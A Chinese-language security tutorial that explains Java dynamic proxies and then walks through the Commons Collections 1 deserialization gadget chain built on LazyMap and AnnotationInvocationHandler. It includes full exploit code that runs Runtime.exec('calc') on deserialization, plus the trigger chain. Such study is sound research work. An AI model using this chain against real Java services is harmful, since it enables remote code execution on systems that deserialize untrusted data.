0x01.前言
在学习完TransformedMap后来分析Commons Collections1就比较好理解了,ysoserial中CC1使用到了LazyMap,最后还是通过AnnotationInvocationHandler来触发,同上篇中我们学习的TransformedMap相比较,多了一个动态代理的知识点,在JDK版本上在1.8(8u71)后同样无法触发,在触发方式上TransformedMap为setValue,LazyMap为get一个没有的key值,其他方面并无太大的不同。另外文章中有理解的不到位的地方请表哥们请多指教~~~
当前触发版本:commons-collections 3.2 JDK1.7u21
0x02.动态代理学习
举一个例子来说明代理,现在有一个A对象,如果想不在修改原有代码的基础上要在函数执行前后加日志功能,只能使用代理去实现。 通过这个A对象创建一个A对象的代理对象,通过访问代理对象去调用A对象的某个函数,这样在创建代理对象时可以手动写一些日志功能然后再去调用A对象的这个函数,这样就完成了功能的实现。其实就是通过建造一个代理类去访问我们不能访问的对象,我们不去直接访问A对象,而是通过A对象的代理对象去访问。
静态代理
先用静态代理实现,静态代理每一个代理类都需要手动创建文件,如果目标类多的话代码量庞大,所以会需要动态代理根据下方代码可以看到 代理类接收的RunTest对象是写死的,如果B类也需要日志功能,那只能再创建一个对应的静态代理类,接收的对象为B,如果类多的的话,需要为每一个类创建对应的代理类。(这里我发现可以用多态实现...只要实现统一的接口,那只用一个代理类就行了,也算是一种实现方法...)
例子:
public class RunTest { public void run(){ System.out.println("开始跑步"); } } /** * 静态代理类 */ public class RunTestProxy { RunTest runTest; public RunTestProxy(RunTest runTest){ this.runTest = runTest; } public void invoke(){ System.out.println("日志记录"); runTest.run(); //调用原有对象的run方法 } } public class Test { public static void main(String[] args) { RunTest runTest = new RunTest(); RunTestProxy proxy = new RunTestProxy(runTest); //获取代理对象 proxy.invoke(); } }
img
动态代理
在程序执行过程中,使用jdk的反射机制,创建代理类对象,并动态的指定要代理的类。 这里我们只说基于JDK实现动态代理,主要通过InvocationHandler,Method,Proxy来实现动态代理。InvocationHandler接口,需要创建实现类实现接口,重写invoke方法,代表你的代理类需要做什么,所有操作都写在invoke方法中。Method,需要通过反射去调用原本对象的方法Proxy,通过该类动态创建代理对象 首先会创建一个实现InvocationHandler接口的处理器,之后通过Proxy的newProxyInstance函数创建一个代理对象,绑定之前创建的处理器对象,最后通过这个代理对象去调用目标类的函数,调用该函数之前会调用绑定代理器中的invoke函数。
例子:
实体类
public interface RunFather { public void run(); } public class RunTest implements RunFather{ @Override public void run(){ System.out.println("开始跑步"); } }
动态代理处理器
import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; /** * 动态代理处理器,实现InvocationHandler接口,重写invoke函数,表示你的代理类要做什么 */ public class RunTestProxy implements InvocationHandler { private Object target; /** * 动态代理的目标对象是活动的 * 传入的是哪个对象,调用的就是哪个对象的方法 * @param target */ public RunTestProxy(Object target){ this.target = target; } /** * 代理器要实现什么功能通过invoke函数实现,最后通过反射调用原目标类方法 * 每次通过代理对象调用方法时,会先自动调用invoke函数 */ @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("日志输出"); Object o = method.invoke(this.target,args); //调用target对象的某函数 return o; } }
通过Proxy创建某类的代理对象
public static void main(String[] args) { //创建目标表对象 RunTest runTest = new RunTest(); //创建InvocationHandler对象,代理处理器 InvocationHandler handler = new RunTestProxy(runTest); //通过Proxy创建代理对象,注意代理返回的必须是接口 //第一个参数为目标对象的类加载器 //第二个参数为目标对象实现的接口 //第三个参数为绑定的InvocationHandler对象,执行目标对象方法时,会触发处理器的invoke方法,传入要执行函数的Method对象,这里必须返回接口类型 RunFather run = (RunFather) Proxy.newProxyInstance(runTest.getClass().getClassLoader(), runTest.getClass().getInterfaces(), handler); //调用run方法是会先调用handler对象的invoke函数 run.run(); }
img
在底层的实现就是JDK会通过Proxy类动态创建一个代理类,其中有一步会先获取这个代理类的class文件的byte[]数组,通过这个数组我们可以还原JDK创建的代理类代码如下
imgimg
因篇幅问题截图只截了一部分,查看父类Proxy可以看到super.h就是我们创建的InvocationHandler这里手动调用了该对象的invoke函数,对应我们创建的invoke函数。所以在设置了代理类后访问方法时会先调用绑定的invoke函数。
0x03.LazyMap链分析
先来了解一下LazyMap类,在对Map集合进行get操作时,如果key不存在,则调用transform方法进行一些特定的设置,并将返回值作为key的值写入Map中。LazyMap链构造命令执行和TransformedMap相同,都是利用ChainedTransformer来构造利用链,区别在于触发点不同,LazyMap在Map集合进行get操作时并且并无当前Key时触发。
LazyMap类位于
org.apache.commons.collections.map.LazyMap
来看下LazyMap的主要几个方法代码。
//通过decorate方法获取LazyMap的对象,传入一个设置好的Transformer public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } //不同包只能通过decorate方法获取其对象 protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = factory; } } //在Map进行get操作时 public Object get(Object key) { //如果Key存在,则直接返回key的值 if (!this.map.containsKey(key)) { //如果Key不存在,调用设置好的Transformer对象的transform函数 Object value = this.factory.transform(key); this.map.put(key, value); return value; } else { return this.map.get(key); } }
所以代码也很简单。获取lazymap对象后get一个没有的key即可触发
Transformer[] transformers2 = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers2); Map map = new HashMap(); map.put("value", "test"); Map lazymap = LazyMap.decorate(map, transformerChain); lazymap.get("sss");
会直接触发计算器
接下来还是寻找反序列化口和触发get操作的类
0x04.AnnotationInvocationHandler触发反序列化
还是通过AnnotationInvocationHandler来触发
这里就需要涉及到反射的知识了。 来看Invoke函数,在设置代理对象后访问其任意方法,都会触发绑定处理器的Invoke方法,而invoke方法中对memberValues进行了get操作,而memberValues我们可控为一个lazyMap,正好触发其get方法,而var4的值是执行的方法名,我们构造的Map集合中无此key即可触发
public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); //获取要执行的方法名 Class[] var5 = var2.getParameterTypes(); //执行的方法如果为equals则进入if if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else { assert var5.length == 0; if (var4.equals("toString")) { return this.toStringImpl(); } else if (var4.equals("hashCode")) { return this.hashCodeImpl(); } else if (var4.equals("annotationType")) { return this.type; } else { //执行的方法不为上面的方法后,则会调用memberValues的get函数 Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); } return var6; } } }
这时候再来看其中的readObject函数,如果memberValues是我们构造的一个代理对象,在反序列化时会调用其entrySet函数,这样就会触发invoke方法,造成漏洞
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { return; } Map var3 = var2.memberTypes(); //在对其memberValues调用entrySet方法时会触发Invoke函数,触发漏洞 Iterator var4 = this.memberValues.entrySet().iterator(); //setValue这里我们不需要注意,为TransformedMap触发 while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } }
明确了这些后我们要做的就是获取一个Map的代理对象,并绑定AnnotationInvocationHandler这个处理器,所以构造代码为
//还是先通过反射获取AnnotationInvocationHandler对象 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); InvocationHandler handler = (InvocationHandler)ctor.newInstance(Target.class, lazymap); //绑定设置好的处理器对象,并获取Map的代理对象,这样对该Map调用任何方法,都会先调用处理器也就是AnnotationInvocationHandler的invoke方法 Map mapProxy = (Map) Proxy.newProxyInstance(lazymap.getClass().getClassLoader(),lazymap.getClass().getInterfaces(),handler); //这里思考一下,为什么还要设置一个新的AnnotationInvocationHandler对象呢? //因为本质我们还是需要通过AnnotationInvocationHandler进行反序列化操作时触发漏洞,而上面创建的handler对象是作为代理处理器绑定到代理对象中的 //并不是我们需要反序列化的对象,所以需要将获取的Map代理对象作为值传入,再次创建AnnotationInvocationHandler对象 //这样在其反序列化时,memberValues就是设置好的Map代理对象,在调用entrySet函数时,又会调用设置好的AnnotationInvocationHandler的invoke方法 Object instance = ctor.newInstance(Target.class, mapProxy);
经过上面的分析大家应该很清楚了,如果还有些迷糊可以最后看一下触发链。下面是完整的利用代码
Transformer[] transformers2 = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers2); Map map = new HashMap(); map.put("value", "test"); Map lazymap = LazyMap.decorate(map, transformerChain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); InvocationHandler handler = (InvocationHandler)ctor.newInstance(Target.class, lazymap); Map mapProxy = (Map) Proxy.newProxyInstance(lazymap.getClass().getClassLoader(),lazymap.getClass().getInterfaces(),handler); Object instance = ctor.newInstance(Target.class, mapProxy); //序列化 FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(instance); objectOutputStream.close(); //反序列化 FileInputStream fileInputStream = new FileInputStream("serialize.txt"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Object result = objectInputStream.readObject(); objectInputStream.close();
触发链:
->ObjectInputStream.readObject() ->AnnotationInvocationHandler.readObject()->触发AnnotationInvocationHandler对象的readObject方法 ->Map(Proxy).entrySet()->调用设置好的Map代理对象的entrySet方法 ->AnnotationInvocationHandler.invoke()->触发对应的代理器的invoke方法 ->LazyMap.get()->触发lazymap的get方法 ->ChainedTransformer.transform()->进行for循环调用Transformer对象数组的transform方法 -> ConstantTransformer.transform()->获取Runtime.class对象 -> InvokerTransformer.transform() ->Method.invoke() ->Class.getMethod()->会获取Method对象,要调用的方法是getRuntime ->InvokerTransformer.transform() ->Method.invoke() ->Runtime.getRuntime()->通过Method对象调用Runtime.getRuntime(),获取了Runtime对象 ->InvokerTransformer.transform() ->Method.invoke() ->Runtime.exec()->通过Runtime对象调用exec方法
注意:在JDK1.8(8u71)后对AnnotationInvocationHandler代码进行了修改,同TransformedMap一样,在P牛的Java安全漫谈中也提到过,是因为修改后不在使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,所以无法触发。
img